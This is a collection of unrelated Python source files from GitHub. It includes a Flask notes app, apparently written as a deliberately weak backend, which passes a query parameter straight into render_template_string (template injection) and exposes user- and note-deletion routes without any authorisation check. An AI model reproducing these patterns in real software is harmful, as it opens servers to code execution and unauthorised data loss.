initializedVector(cls,vector):\n vlen = len(vector)\n m = cls(vlen,1)\n for i in range(0,vlen):\n m.matrix[i][0] = vector[i]\n return m\n \n def dot(self,n):\n result = []\n result = Matrix(self.rows,n.cols)\n \n if self.cols == n.rows :\n for i in range(self.rows) :\n for j in range(n.cols):\n sum = 0 \n for k in range(self.cols):\n sum += self.matrix[i][k]*n.matrix[k][j]\n result.matrix[i][j] = sum\n return result\n \n def randomize(self):\n for i in range(self.rows):\n for j in range(self.cols):\n self.matrix[i][j] = random_uniform(-1,1)\n \n def matrixToVector(self):\n arr = []\n for i in range(self.rows):\n for j in range(self.cols):\n arr.append(self.matrix[i][j])\n return arr\n \n def addBias(self):\n n = Matrix(self.rows+1,1)\n for i in range(self.rows):\n n.matrix[i][0] = self.matrix[i][0]\n n.matrix[self.rows][0] = 1.\n return n\n \n def activate(self):\n n = Matrix(self.rows,self.cols)\n for i in range(self.rows):\n for j in range(self.cols):\n n.matrix[i][j] = self.relu(self.matrix[i][j])\n return n\n \n @staticmethod\n def relu(x):\n return max(0,x)\n \n def mutate(self,mutationRate):\n for i in range(self.rows) :\n for j in range(self.cols) :\n rand = random_uniform(1)\n if rand < mutationRate :\n self.matrix[i][j] += random_gaussian()/5\n \n if self.matrix[i][j] > 1 :\n self.matrix[i][j] = 1\n if self.matrix[i][j] < -1 :\n self.matrix[i][j] = -1\n \n def crossover(self,partner):\n child = Matrix(self.rows,self.cols)\n \n randR = floor(random_uniform(self.rows))\n randC = floor(random_uniform(self.cols))\n \n for i in range(self.rows):\n for j in range(self.cols):\n if i < randR or (i == randR and j <= randC) :\n child.matrix[i][j] = self.matrix[i][j]\n else:\n child.matrix[i][j] = partner.matrix[i][j];\n return child\n \n def clone(self):\n clone = Matrix(self.rows,self.cols)\n for i in range(self.rows):\n for j in range(self.cols):\n clone.matrix[i][j] = self.matrix[i][j]\n return clone\n \n\n \n\n\n\n \n \n \n \n \n \n \n \n \n\n \n","repo_name":"ElirazO/IronDomeAI","sub_path":"Matrix.py","file_name":"Matrix.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"75285391289","text":"from django.urls import path\nfrom . import views\n\napp_name = 'front'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path(r'login/', views.login, name='login'),\n path('work/', views.work, name='work'),\n path('refreshlog/', views.refresh_log, name='refresh_log'),\n path('logout/', views.logout, name='logout'),\n path('connect/admin/', views.connect_admin, name='connect_admin'),\n]","repo_name":"bopopescu/refreshHuaweiCdn","sub_path":"front/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3758257464","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport math\nimport random\n\ndef upper_confidence_bound(file):\n dataset = pd.read_csv(file)\n d = 10\n N = 10000\n ads_selected = []\n numbers_of_selections = [0] * d\n sums_of_rewards = [0] * d\n total_reward = 0\n for n in range(0, N):\n ad = 0\n max_upper_bound = 0\n for i in range(0, d):\n if (numbers_of_selections[i] > 0):\n upper_bound = (sums_of_rewards[i] / numbers_of_selections[i]) + \\\n (math.sqrt(3/2 * math.log(n + 1) / numbers_of_selections[i]))\n else:\n upper_bound = 1e400\n if upper_bound > max_upper_bound:\n max_upper_bound = upper_bound\n ad = i\n ads_selected.append(ad)\n numbers_of_selections[ad] += 1\n reward = dataset.values[n, ad]\n sums_of_rewards[ad] += reward\n total_reward += reward\n\n # Visualizing results\n plt.hist(ads_selected)\n plt.title('Histogram of Ad Selections')\n plt.xlabel('Ads')\n plt.ylabel('Number of times each ad selected')\n plt.savefig('Images/UCB.png')\n plt.show()\n\ndef thompson_sampling(file):\n dataset = pd.read_csv(file)\n\n # Implementing Thompson Sampling\n d = 10\n N = 10000\n ads_selected = []\n number_of_rewards1 = [0] * d\n number_of_rewards0 = [0] * d\n total_rewards = 0\n for n in range(0, N):\n ad = 0\n max_random = 0\n for i in range(0, d):\n random_beta = random.betavariate(number_of_rewards1[i] + 1, number_of_rewards0[i] + 1)\n if random_beta > max_random:\n max_random = random_beta\n ad = i\n ads_selected.append(ad)\n reward = dataset.values[n, ad]\n if reward == 1:\n number_of_rewards1[ad] += 1\n else:\n number_of_rewards0[ad] += 1\n total_rewards += reward\n\n # Visualize Histogram of results\n plt.hist(ads_selected)\n plt.title('Histogram of Ad Selections')\n plt.xlabel('Ads')\n plt.ylabel('Number of times each ad selected')\n plt.savefig('Images/Thompson_Sampling.png')\n plt.show()","repo_name":"jmgccp4eva/machinelearningaipython","sub_path":"Reinforcement_Learning.py","file_name":"Reinforcement_Learning.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"42163718402","text":"\"\"\"\nThis example illustrates how to manually use a temporary array manager (if you must).\n\"\"\"\n\nimport numpy\nfrom reikna.cluda import dtypes, any_api\nfrom reikna.cluda.tempalloc import ZeroOffsetManager\n\n\napi = any_api()\nthr = api.Thread.create()\n\n\ndef demo_array_dependencies():\n\n # ZeroOffsetManager attempts to pack temporary allocations\n # in a collection of real allocations with minimal total size.\n # All the virtual allocations start at the beginning of the real allocations.\n\n # Create a manager that will try to minimize the total size of real allocations\n # every time a temporary allocation occurs, or a temporary array is freed.\n # Note that this may involve re-pointing a temporary array to a different part of memory,\n # so all of the data in it is lost.\n temp_manager = ZeroOffsetManager(thr, pack_on_alloc=True, pack_on_free=True)\n\n # Alternatively one can pass `False` to these keywords and call `.pack()` manually.\n # This can be useful if a lot of allocations are happening in a specific place at once.\n\n # Create two arrays that do not depend on each other.\n # This means the manager will allocate a single (200, int32) real array,\n # and point both `a1` and `a2` to its beginning.\n a1 = temp_manager.array(100, numpy.int32)\n a2 = temp_manager.array(200, numpy.int32)\n\n # You can see that the total size of virtual arrays is 1200,\n # but the total size of real arrays is only 800 (the size of the larger array).\n print(\"Allocated a1 = (100, int32) and a2 = (200, int32)\")\n print(temp_manager._statistics())\n\n # Now we allocate a dependent array.\n # This means that the real memory `a3` points to cannot intersect with that of `a1`.\n # If we could point temporary arrays at any address within real allocations,\n # we could fit it into the second half of the existing real allocation.\n # But `ZeroOffsetManager` cannot do that, so it has to create another allocation.\n a3 = temp_manager.array(100, numpy.int32, dependencies=[a1])\n\n print(\"Allocated a3 = (100, int32) depending on a1\")\n print(temp_manager._statistics())\n\n # Now that we deallocated `a1`, `a3` can now fit in the same real allocation as `a2`,\n # so one of the real allocations will be removed.\n del a1\n\n print(\"Freed a1\")\n print(temp_manager._statistics())\n\n\nclass MyComputation:\n\n def __init__(self, temp_manager):\n self.temp_array = temp_manager.array(100, numpy.int32)\n\n # The magic property containing temporary arrays used\n self.__tempalloc__ = [self.temp_array]\n\n def __call__(self, array1, array2):\n # a sequence of kernel calls using `self.temp_array` to store some intermediate results\n pass\n\n\ndef demo_object_dependencies():\n\n temp_manager = ZeroOffsetManager(thr, pack_on_alloc=True, pack_on_free=True)\n\n # A `MyComputation` instance creates a temporary array for internal usage\n comp = MyComputation(temp_manager)\n\n print(\"MyComputation created\")\n print(temp_manager._statistics())\n\n # Create another temporary array whose usage does not intersect with `MyComputation` usage.\n # This means that if `comp` is called, the contents of `a1` may be rewritten.\n a1 = temp_manager.array(100, numpy.int32)\n\n # It is put in the same real allocation as the temporary array of `comp`.\n print(\"Allocated a1 = (100, int32)\")\n print(temp_manager._statistics())\n\n # Now let's say we want to put the result of `comp` call somewhere.\n # This means we want to make sure it does not occupy the same memory\n # as any of the temporary arrays in `comp`, so we are passing `comp` as a dependency.\n # It will pick up whatever `comp` declared in its `__tempalloc__` attribute.\n result = temp_manager.array(100, numpy.int32, dependencies=[comp])\n\n # You can see that a new real allocation was created to host the result.\n print(\"Allocated result = (100, int32)\")\n print(temp_manager._statistics())\n\n\nif __name__ == '__main__':\n demo_array_dependencies()\n demo_object_dependencies()\n","repo_name":"fjarri/reikna","sub_path":"examples/demo_tempalloc.py","file_name":"demo_tempalloc.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":163,"dataset":"github-code","pt":"77"} +{"seq_id":"69995453688","text":"from django.db import models\nfrom django.conf import settings\nfrom django.utils import timezone\n\n# Create your models here.\n\n\nclass User(models.Model):\n FAMILY_ROLE = [('엄마', '엄마'), ('아빠', '아빠'),]\n username = models.CharField(max_length=10, unique=True)\n role = models.CharField(max_length=5, choices=FAMILY_ROLE)\n \n def __str__(self):\n return self.username\n\n\nclass SetLocation(models.Model):\n user_id = models.OneToOneField('User', on_delete=models.CASCADE)\n homeX = models.FloatField()\n homeY = models.FloatField()\n companyX = models.FloatField()\n companyY = models.FloatField()\n\n\nclass Location(models.Model):\n user_id = models.ForeignKey('User', on_delete=models.CASCADE)\n geoX = models.FloatField()\n geoY = models.FloatField()\n timeStamp = models.DateTimeField(auto_now_add=True)\n onHomeRoad = models.IntegerField(default=0)\n onCompanyRoad = models.IntegerField(default=0)\n\n\nclass Alert(models.Model):\n user_id = models.ForeignKey('User', on_delete=models.CASCADE)\n alertType = models.IntegerField()\n timeStamp = models.DateTimeField(auto_now_add=True)\n","repo_name":"sseonnn/FAFA","sub_path":"Back-End/FAFA/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22212128210","text":"import time\nimport numpy as np\nimport torch\nfrom torch.nn.functional import binary_cross_entropy_with_logits\nfrom torch.utils.data import DataLoader, RandomSampler\nfrom rmp_nav.common.utils import save_model, load_model, module_grad_stats\nimport tabulate\nimport os\n\n\ndef _load_weights(model_file, nets, net_opts):\n state = load_model(os.path.dirname(model_file),\n os.path.basename(model_file), load_to_cpu=True)\n epoch = int(state['epoch'])\n\n for name, net in nets.items():\n net.load_state_dict(state['nets'][name])\n\n for name, opt in net_opts.items():\n opt.load_state_dict(state['optims'][name])\n # Move the parameters stored in the optimizer into gpu\n for opt_state in opt.state.values():\n for k, v in opt_state.items():\n if torch.is_tensor(v):\n opt_state[k] = v.to(device='cuda')\n return epoch\n\n\ndef _save_model(nets, net_opts, epoch, global_args, model_file):\n state = {\n 'epoch': epoch,\n 'global_args': global_args,\n 'optims': {\n name: opt.state_dict() for name, opt in net_opts.items()\n },\n 'nets': {\n name: net.state_dict() for name, net in nets.items()\n }\n }\n save_model(state, epoch, '', model_file)\n\n\ndef train_multiframedst(nets, net_opts, dataset, vis, global_args):\n (\n model_file,\n max_epochs,\n batch_size,\n n_worker,\n log_interval,\n vis_interval,\n save_interval,\n train_device,\n resume,\n weight_loss,\n weight_loss_min_clip,\n model_variant,\n proximity_label,\n heading_diff_label\n ) = [global_args[_] for _ in ['model_file',\n 'max_epochs',\n 'batch_size',\n 'n_dataset_worker',\n 'log_interval',\n 'vis_interval',\n 'save_interval',\n 'train_device',\n 'resume',\n 'weight_loss',\n 'weight_loss_min_clip',\n 'model_variant',\n 'proximity_label',\n 'heading_diff_label']]\n\n epoch = 0\n if resume:\n epoch = _load_weights(model_file, nets, net_opts)\n torch.manual_seed(231239 + epoch)\n print('loaded saved state. epoch: %d' % epoch)\n\n # FIXME: hack to mitigate the bug in torch 1.1.0's schedulers\n if epoch <= 1:\n last_epoch = epoch - 1\n else:\n last_epoch = epoch - 2\n\n net_scheds = {\n name: torch.optim.lr_scheduler.StepLR(\n opt,\n step_size=global_args['lr_decay_epoch'],\n gamma=global_args['lr_decay_rate'],\n last_epoch=last_epoch)\n for name, opt in net_opts.items()\n }\n\n n_samples = global_args['samples_per_epoch']\n\n while True:\n print('===== epoch %d =====' % epoch)\n\n sampler = RandomSampler(dataset, True, n_samples)\n\n loader = DataLoader(dataset,\n batch_size=batch_size,\n sampler=sampler,\n num_workers=n_worker,\n pin_memory=True,\n drop_last=True)\n\n last_log_time = time.time()\n\n for idx, (batch_src_imgs, batch_dst_imgs, batch_waypoints, batch_extras) in enumerate(loader):\n for _, opt in net_opts.items():\n opt.zero_grad()\n\n if idx % vis_interval == 0:\n imgs = []\n for i in range(3):\n src_img = batch_src_imgs[i].data.numpy()\n dst_imgs = batch_dst_imgs[i].data.numpy()\n imgs.append(src_img[None])\n imgs.append(dst_imgs)\n imgs = np.concatenate(imgs, axis=0)\n vis.images(imgs, nrow=(dst_imgs.shape[0] + 1),\n win='batch_imgs', opts={'title': 'src-dst'})\n\n batch_src_imgs = batch_src_imgs.to(device=train_device, non_blocking=True)\n batch_dst_imgs = batch_dst_imgs.to(device=train_device, non_blocking=True)\n batch_waypoints = batch_waypoints.to(device=train_device, non_blocking=True)\n\n for k, v in batch_extras.items():\n batch_extras[k] = v.to(device=train_device, non_blocking=True)\n\n batch_size, win_size, c, h, w = batch_dst_imgs.size()\n\n if model_variant == 'attention':\n src_features = nets['img_encoder'](batch_src_imgs)\n dst_features = nets['img_encoder'](batch_dst_imgs.view(-1, c, h, w)).view(\n batch_size, win_size, -1) # batch_size x win_size x dim\n\n # FIXME: disabled attention temporarily\n # dst_terminal_features = dst_features[:, -1, :]\n # attention = nets['attention_encoder'](torch.cat([src_features,\n # dst_terminal_features], dim=1))\n dst_temporal_features = nets['seq_encoder'](dst_features)\n final_features = torch.cat([src_features, dst_temporal_features], dim=1)\n pred_waypoints = nets['wp_regressor'](final_features)\n\n elif model_variant == 'concat_early':\n src_features = nets['img_encoder'](batch_src_imgs)\n dst_features = nets['img_encoder'](batch_dst_imgs.view(-1, c, h, w)).view(\n batch_size, win_size, -1) # batch_size x win_size x dim\n\n src_dst_features = torch.cat([src_features.unsqueeze(1).expand_as(dst_features),\n dst_features], dim=-1)\n temporal_features = nets['seq_encoder'](src_dst_features)\n pred_waypoints = nets['wp_regressor'](temporal_features)\n\n elif model_variant == 'future':\n src_features = nets['img_encoder'](batch_src_imgs)\n dst_features = nets['img_encoder'](batch_dst_imgs.view(-1, c, h, w)).view(\n batch_size, win_size, -1) # batch_size x win_size x dim\n\n win_size = dst_features.size(1) // 2\n\n past_features = dst_features[:, :win_size + 1]\n future_features = dst_features[:, win_size:]\n\n past_temporal_features = nets['seq_encoder'](past_features)\n future_temporal_features = nets['seq_encoder'](future_features)\n\n final_features = torch.cat([src_features,\n past_temporal_features,\n future_temporal_features], dim=1)\n pred_waypoints = nets['wp_regressor'](final_features)\n\n elif model_variant == 'future_stack':\n img_stack = torch.cat([batch_src_imgs.unsqueeze(1), batch_dst_imgs], dim=1)\n features = nets['stack_encoder'](img_stack)\n pred_waypoints = nets['wp_regressor'](features)\n\n elif model_variant == 'future_stack_v2':\n # Only stack dst images.\n src_features = nets['img_encoder'](batch_src_imgs)\n dst_features = nets['stack_encoder'](batch_dst_imgs)\n features = torch.cat([src_features, dst_features], dim=-1)\n pred_waypoints = nets['wp_regressor'](features)\n\n elif model_variant == 'future_pair':\n batch_src_imgs2 = batch_src_imgs.unsqueeze(1).expand_as(batch_dst_imgs).contiguous()\n pair_features = nets['img_pair_encoder'](\n batch_src_imgs2.view(batch_size * win_size, c, h, w),\n batch_dst_imgs.view(batch_size * win_size, c, h, w)).view(batch_size, -1)\n pred_waypoints = nets['wp_regressor'](pair_features)\n if proximity_label:\n pred_proximity = nets['proximity_regressor'](pair_features)\n if heading_diff_label:\n pred_heading_diff = nets['heading_diff_regressor'](pair_features)\n\n elif model_variant == 'future_pair_conv':\n batch_src_imgs2 = batch_src_imgs.unsqueeze(1).expand_as(batch_dst_imgs).contiguous()\n pair_features = nets['img_pair_encoder'](\n batch_src_imgs2.view(batch_size * win_size, c, h, w),\n batch_dst_imgs.view(batch_size * win_size, c, h, w)).view(batch_size, win_size, -1)\n conv_feature = nets['conv_encoder'](pair_features.transpose(1, 2))\n pred_waypoints = nets['wp_regressor'](conv_feature)\n if proximity_label:\n pred_proximity = nets['proximity_regressor'](conv_feature)\n if heading_diff_label:\n pred_heading_diff = nets['heading_diff_regressor'](conv_feature)\n\n elif model_variant == 'future_pair_featurized':\n src_features = nets['img_encoder'](batch_src_imgs)\n dst_features = nets['img_encoder'](batch_dst_imgs.view(\n batch_size * win_size, c, h, w)).view(batch_size, win_size, -1)\n src_features = src_features.unsqueeze(1).expand_as(dst_features).contiguous()\n pair_features = nets['feature_pair_encoder'](\n src_features.view(batch_size * win_size, -1),\n dst_features.view(batch_size * win_size, -1)).view(batch_size, -1)\n pred_waypoints = nets['wp_regressor'](pair_features)\n\n elif model_variant == 'future_pair_featurized_v2':\n src_features = nets['src_img_encoder'](batch_src_imgs)\n dst_features = nets['dst_img_encoder'](batch_dst_imgs.view(\n batch_size * win_size, c, h, w)).view(batch_size, win_size, -1)\n src_features = src_features.unsqueeze(1).expand_as(dst_features).contiguous()\n pair_features = nets['feature_pair_encoder'](\n src_features.view(batch_size * win_size, -1),\n dst_features.view(batch_size * win_size, -1)).view(batch_size, -1)\n pred_waypoints = nets['wp_regressor'](pair_features)\n\n elif model_variant == 'raw_control':\n batch_src_imgs2 = batch_src_imgs.unsqueeze(1).expand_as(batch_dst_imgs).contiguous()\n pair_features = nets['img_pair_encoder'](\n batch_src_imgs2.view(batch_size * win_size, c, h, w),\n batch_dst_imgs.view(batch_size * win_size, c, h, w)).view(batch_size, win_size, -1)\n conv_feature = nets['conv_encoder'](pair_features.transpose(1, 2))\n\n velocity = batch_extras['velocity'].to(device=train_device, non_blocking=True)\n angular_vel = batch_extras['angular_vel'].to(device=train_device, non_blocking=True)\n\n all_features = torch.cat([conv_feature, velocity, angular_vel], dim=-1)\n\n # Note that pred_waypoints here are actually raw controls.\n pred_waypoints = nets['wp_regressor'](all_features)\n\n if proximity_label:\n pred_proximity = nets['proximity_regressor'](conv_feature)\n\n if heading_diff_label:\n pred_heading_diff = nets['heading_diff_regressor'](conv_feature)\n\n else:\n raise RuntimeError('Unknown model variant %s' % model_variant)\n\n l2_loss = torch.sum(torch.pow(pred_waypoints - batch_waypoints, 2), dim=1)\n if weight_loss:\n l2_loss *= 1.0 / torch.max(batch_waypoints.norm(p=2, dim=1),\n batch_waypoints.new_tensor(weight_loss_min_clip))\n loss = torch.mean(l2_loss)\n if proximity_label:\n assert pred_proximity.size() == batch_extras['proximity'].size()\n proximity_loss = binary_cross_entropy_with_logits(pred_proximity,\n batch_extras['proximity'])\n loss += proximity_loss\n\n if heading_diff_label:\n assert pred_heading_diff.size() == batch_extras['heading_diff'].size()\n heading_diff_loss = torch.mean(torch.sum(torch.pow(\n pred_heading_diff - batch_extras['heading_diff'], 2), dim=1))\n loss += heading_diff_loss\n\n loss.backward()\n\n for _, opt in net_opts.items():\n opt.step()\n\n if idx % log_interval == 0:\n print('epoch %d batch time %.2f sec loss: %6.2f' % (\n epoch, (time.time() - last_log_time) / log_interval, loss.item()))\n print('learning rate:\\n%s' % tabulate.tabulate([\n (name, opt.param_groups[0]['lr']) for name, opt in net_opts.items()]))\n for name, net in nets.items():\n print('%s grad:\\n%s' % (name, module_grad_stats(net)))\n\n vis.line(X=np.array([epoch * n_samples + idx * batch_size]),\n Y=np.array([loss.item()]),\n win='loss', update='append', opts={'title': 'loss'})\n\n if proximity_label:\n def format(l):\n return '(' + ','.join(['%.2f' % _ for _ in l]) + ')'\n print('proximity:\\n%s' % tabulate.tabulate([\n ['pred'] + [format(_) for _ in torch.sigmoid(pred_proximity[:10]).tolist()],\n ['gt'] + [format(_) for _ in batch_extras['proximity'][:10].tolist()]\n ]))\n vis.line(X=np.array([epoch * n_samples + idx * batch_size]),\n Y=np.array([proximity_loss.item()]),\n win='proximity loss', update='append',\n opts={'title': 'proximity loss'})\n\n if heading_diff_label:\n def format(l):\n return '(' + ','.join(['%.2f' % _ for _ in l]) + ')'\n print('heading_diff:\\n%s' % tabulate.tabulate([\n ['pred'] + [format(_) for _ in pred_heading_diff[:10].tolist()],\n ['gt'] + [format(_) for _ in batch_extras['heading_diff'][:10].tolist()]\n ]))\n vis.line(X=np.array([epoch * n_samples + idx * batch_size]),\n Y=np.array([heading_diff_loss.item()]),\n win='heading_diff loss', update='append',\n opts={'title': 'heading diff loss'})\n\n last_log_time = time.time()\n vis.save([vis.env])\n\n for _, sched in net_scheds.items():\n sched.step()\n\n epoch += 1\n if epoch > max_epochs:\n break\n\n if epoch % save_interval == 0:\n print('saving model...')\n _save_model(nets, net_opts, epoch, global_args, model_file)\n","repo_name":"xymeng/rmp_nav","sub_path":"topological_nav/controller/train_fixture.py","file_name":"train_fixture.py","file_ext":"py","file_size_in_byte":15154,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"77"} +{"seq_id":"15257555545","text":"from flask import Blueprint, render_template, render_template_string, request, flash, jsonify\nfrom flask_login import login_required, current_user\nfrom .models import Note, User\nfrom . import db\nfrom datetime import datetime\nviews = Blueprint('views', __name__)\nimport json\n\n@views.route('/', methods=['POST','GET'])\n@login_required\ndef home():\n if request.method == 'POST':\n note = request.form.get('note')\n\n if len(note) < 1:\n flash('Note is too short!', category='error')\n else:\n now = datetime.now()\n new_note = Note(data=note, date=now, user_id=current_user.id)\n db.session.add(new_note)\n db.session.commit()\n flash('Note added!', category='success')\n\n return render_template('home.html', user=current_user)\n\n@views.route('/admin', methods=['GET', 'POST'])\n@login_required\ndef admin():\n if request.method == 'GET':\n users = User.query.all()\n notes = Note.query.all()\n\n return render_template('admin.html', user=current_user, users=users, notes=notes)\n\n@views.route('/delete-note', methods=['POST'])\ndef delete_note():\n note = json.loads(request.data)\n noteId = note['noteId']\n note = Note.query.get(noteId)\n if note:\n if note.user_id == current_user.id: #POSSIAMO CANCELLARE LE NOTE DA QUEST'IF\n db.session.delete(note)\n db.session.commit()\n \n return jsonify({}) \n\n@views.route('/delete-user', methods=['POST'])\ndef delete_user():\n user = json.loads(request.data)\n userId = user['userId']\n user = User.query.get(userId)\n if user:\n db.session.delete(user)\n db.session.commit()\n return jsonify({})\n\n@views.route('/delete-note-admin', methods=['POST'])\ndef delete_note_admin():\n note = json.loads(request.data)\n noteId = note['noteId']\n note = Note.query.get(noteId)\n if note: \n db.session.delete(note)\n db.session.commit()\n \n return jsonify({}) \n\n@views.route('/user', methods=['GET'])\ndef user():\n username = request.args.get('username', default = current_user.first_name)\n\n template = ''' \n {% extends \"base.html\" %} {% block title %}User panel{% endblock %}\n \n {%block content%}\n
\n

User panel

\n
My name is: ''' + username + '''
\n
My email address is: {{user.email}}
\n \n \n {%endblock%}\n '''\n\n return render_template_string(template, user = current_user)","repo_name":"Dongo9/COD-2022","sub_path":"Worst backend ever/website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"5493057363","text":"# try to build a lstm network\r\nimport numpy as np\r\nimport torch.nn as nn\r\nimport torch\r\nfrom torch.autograd import Variable\r\nimport torch.optim as optim\r\nfrom torch.optim import lr_scheduler\r\nfrom MyDNNDecoder import MyDNNDecoder\r\nfrom MySalEncoder import MySalEncoder\r\nimport torch.nn.utils as utils\r\nimport skimage\r\nimport skimage.io\r\nfrom skimage.segmentation import slic\r\nfrom skimage.util import img_as_float\r\nfrom skimage import transform,data\r\nfrom torchvision import datasets,transforms\r\nimport networkx as nx\r\nimport scipy.spatial.distance\r\nimport scipy.signal\r\nimport math\r\nimport copy\r\nimport os\r\nfrom PIL import Image\r\nfrom network import resnet34\r\nimport time\r\nfrom TrainDataset import TrainDataset\r\nfrom TestDataset import TestDataset\r\nfrom ValDataset import ValDataset\r\nimport pandas as pd\r\nfrom torch.utils.data import DataLoader\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable # torch 中 Variable 模块\r\n\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\r\n\r\nfile_w_dir = 'data/DUT/DUTSal'\r\n\r\ndata_transforms = transforms.Compose([\r\n # transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[1, 1, 1])\r\n ])\r\n\r\n\r\ndef S(x1, x2, geodesic,sigma_clr=10):\r\n return math.exp(-pow(geodesic[x1, x2], 2)/(2*sigma_clr*sigma_clr))\r\n\r\n\r\ndef compute_saliency_cost(smoothness, w_bg, wCtr):\r\n n = len(w_bg)\r\n A = np.zeros((n, n))\r\n b = np.zeros((n))\r\n for x in range(0,n):\r\n A[x,x] = 2 * w_bg[x] + 2 * (wCtr[x])\r\n b[x] = 2 * wCtr[x]\r\n for y in range(0, n):\r\n A[x, x] += 2 * smoothness[x, y]\r\n A[x, y] -= 2 * smoothness[x, y]\r\n x = np.linalg.solve(A, b)\r\n return x\r\n\r\n\r\ndef path_length(path, G):\r\n dist = 0.0\r\n for i in range(1,len(path)):\r\n dist += G[path[i - 1]][path[i]]['weight']\r\n return dist\r\n\r\n\r\ndef make_graph(grid):\r\n # get unique labels\r\n vertices = np.unique(grid)\r\n # map unique labels to [1,...,num_labels]\r\n reverse_dict = dict(zip(vertices,np.arange(len(vertices))))\r\n grid = np.array([reverse_dict[x] for x in grid.flat]).reshape(grid.shape)\r\n\r\n # create edges\r\n down = np.c_[grid[:-1, :].ravel(), grid[1:, :].ravel()]\r\n right = np.c_[grid[:, :-1].ravel(), grid[:, 1:].ravel()]\r\n all_edges = np.vstack([right, down])\r\n all_edges = all_edges[all_edges[:, 0] != all_edges[:, 1], :]\r\n all_edges = np.sort(all_edges, axis=1)\r\n num_vertices = len(vertices)\r\n edge_hash = all_edges[:,0] + num_vertices * all_edges[:, 1]\r\n # find unique connections\r\n edges = np.unique(edge_hash)\r\n # undo hashing\r\n edges = [[vertices[x%num_vertices], vertices[int(x/num_vertices)]] for x in edges]\r\n\r\n return vertices, edges\r\n\r\n\r\n# def encoder_opt(encoder_output, DATA_MAX_LEN, vertices_batch, edges_batch, boundary_batch, centers_batch,\r\n# max_dist_batch):\r\n#\r\n# train_batchsize = encoder_output.data.shape[0]\r\n# OPTW_batch = np.zeros((train_batchsize, DATA_MAX_LEN))\r\n# for ii in range(train_batchsize):\r\n# vertices = vertices_batch[ii]\r\n# edges = edges_batch[ii]\r\n# boundary = boundary_batch[ii]\r\n# centers = centers_batch[ii]\r\n# max_dist = max_dist_batch[ii]\r\n#\r\n# features = encoder_output.data[ii, :, :]\r\n#\r\n# G = nx.Graph()\r\n# #buid the graph\r\n# for edge in edges:\r\n# pt1 = edge[0]\r\n# pt2 = edge[1]\r\n# mm1 = features[pt1, :]\r\n# mm2 = features[pt2, :]\r\n#\r\n# color_distance = scipy.spatial.distance.euclidean(mm1,mm2)\r\n# color_distance = np.sqrt(np.sum(np.square(color_distance)))\r\n# #color_distance = np.linalg.norm(mm1,mm2)\r\n# G.add_edge(pt1, pt2, weight=color_distance)\r\n#\r\n# #add a new edge in graph if edges are both on boundary\r\n# for v1 in vertices:\r\n# if boundary[v1] == 1:\r\n# for v2 in vertices:\r\n# if boundary[v2] == 1:\r\n# #color_distance = tf.reduce_sum(tf.sqrt(tf.square(features[v1] - features[v2])), 0)\r\n# color_distance = scipy.spatial.distance.euclidean(features[v1],features[v2])\r\n# color_distance = np.sqrt(np.sum(np.square(color_distance)))\r\n# G.add_edge(v1, v2, weight=color_distance)\r\n#\r\n# geodesic = np.zeros((len(vertices), len(vertices)), dtype=float)\r\n# spatial = np.zeros((len(vertices), len(vertices)), dtype=float)\r\n# smoothness = np.zeros((len(vertices), len(vertices)), dtype=float)\r\n# adjacency = np.zeros((len(vertices), len(vertices)), dtype=float)\r\n#\r\n# sigma_clr = 10.0\r\n# sigma_bndcon = 1.0\r\n# sigma_spa = 0.25\r\n# mu = 0.1\r\n# all_shortest_paths_color = nx.shortest_path(G, source=None, target=None, weight='weight')\r\n#\r\n# for v1 in vertices:\r\n# for v2 in vertices:\r\n# if v1 == v2:\r\n# geodesic[v1, v2] = 0\r\n# spatial[v1, v2] = 0\r\n# smoothness[v1, v2] = 0\r\n# else:\r\n# geodesic[v1, v2] = path_length(all_shortest_paths_color[v1][v2], G)\r\n# spatial[v1, v2] = scipy.spatial.distance.euclidean(centers[v1], centers[v2]) / max_dist\r\n# smoothness[v1, v2] = math.exp(-(geodesic[v1, v2] * geodesic[v1, v2])/(2.0*sigma_clr*sigma_clr)) + mu\r\n#\r\n# for edge in edges:\r\n# pt1 = edge[0]\r\n# pt2 = edge[1]\r\n# adjacency[pt1, pt2] = 1\r\n# adjacency[pt2, pt1] = 1\r\n#\r\n# for v1 in vertices:\r\n# for v2 in vertices:\r\n# smoothness[v1, v2] = adjacency[v1, v2] * smoothness[v1, v2]\r\n#\r\n# area = dict()\r\n# len_bnd = dict()\r\n# bnd_con = dict()\r\n# w_bg = dict()\r\n# ctr = dict()\r\n# wCtr = dict()\r\n#\r\n# for v1 in vertices:\r\n# area[v1] = 0\r\n# len_bnd[v1] = 0\r\n# ctr[v1] = 0\r\n# for v2 in vertices:\r\n# d_app = geodesic[v1, v2]\r\n# d_spa = spatial[v1, v2]\r\n# w_spa = math.exp(- (d_spa * d_spa)/(2.0*sigma_spa*sigma_spa))\r\n# area_i = S(v1, v2, geodesic)\r\n# area[v1] += area_i\r\n# len_bnd[v1] += area_i * boundary[v2]\r\n# ctr[v1] += d_app * w_spa\r\n# bnd_con[v1] = len_bnd[v1] / math.sqrt(area[v1])\r\n# w_bg[v1] = 1.0 - math.exp(- (bnd_con[v1]*bnd_con[v1])/(2*sigma_bndcon*sigma_bndcon))\r\n#\r\n# for v1 in vertices:\r\n# wCtr[v1] = 0\r\n# for v2 in vertices:\r\n# d_app = geodesic[v1, v2]\r\n# d_spa = spatial[v1, v2]\r\n# w_spa = math.exp(- (d_spa*d_spa)/(2.0*sigma_spa*sigma_spa))\r\n# 